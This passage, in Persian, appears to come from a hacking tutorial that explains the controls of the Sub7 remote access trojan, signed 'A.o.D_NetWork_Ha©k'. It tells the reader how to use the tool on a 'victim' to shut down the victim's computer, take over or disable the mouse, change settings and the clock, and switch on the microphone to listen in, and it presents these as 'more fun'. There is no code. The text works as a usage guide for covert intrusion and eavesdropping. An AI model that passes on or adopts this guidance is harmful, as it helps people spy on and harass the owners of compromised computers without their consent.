رنگ ويندوز: که به وسيله ي آن مي توانيم تمام رنگهاي ويندوز را به سه رنگ تبديل کنيم .(نيازي به توضيح بيشتر نيست .مشخص است)
بازي دوز : که براي انجام بازي دوز با قرباني است ، براي اين کار بعد از کليک روي آن پنجره اي باز مي شود که در آن روي گزينه stast game کليک مي کنيم.
ماتريکس واقعي : که براي ارسال پيام بصورتي که در ms-dos نمايش بيابد است براي اين کار ماتريکس باز را انتخاب کرده پيام را تايپ مي کنيم و آن را send مي کنيم.
تفريح بيشتر
ري استارت : که از آن براي shut down restart log off کاميوتر قرباني استفاده مي شود که کاملا مشخص است و نيازي به توضيح ندارد .
ماس: که با آن مي توان ماس را غير فعال کرد يا کنترل آن را بدست گرفت و يا جاي دکمه هاي سمت راست و چپ را عوض کرد اين کارها کاملا مشخص است و نيازي به توضيح ندارد.
صدا : که بوسيله ي آن مي توان تنظيمات صداي سيستم عامل قرباني را عوض کرد.
ضبط ميکروفن : که بوسيله ي آن مي توان ميکروفن را روشن کرد و به صداي قرباني گوش فرا داد.
زمان/تاريخ : که با آن مي توان زمان و تاريخ کامپيوتر قرباني را عوض کرد.
تفريح بيشتر : اين يکي از جالب ترين بخش هاي sub7 است که با آن مي توان تغييراتي را در سيستم فرد ايجاد که کاملا قابل درک است و نيازي به توضيح نيست و تغييرات معکوس نيز در آن موجود است.
تفريح کليدها : که تقريبا شبيه همان کارهاي بالايي است ولي با امکاناتي تازه تر
پلاگين : کل اين قسمت رو در قسمت هاي قبلي داشتيم پس نيازي به تکرار نيست.
تنظيمات محلي :کل اين قسمت رو در قسمت هاي قبلي داشتيم پس نيازي به تکرار نيست.
....................................................................................

A.o.D_NetWork_Ha©k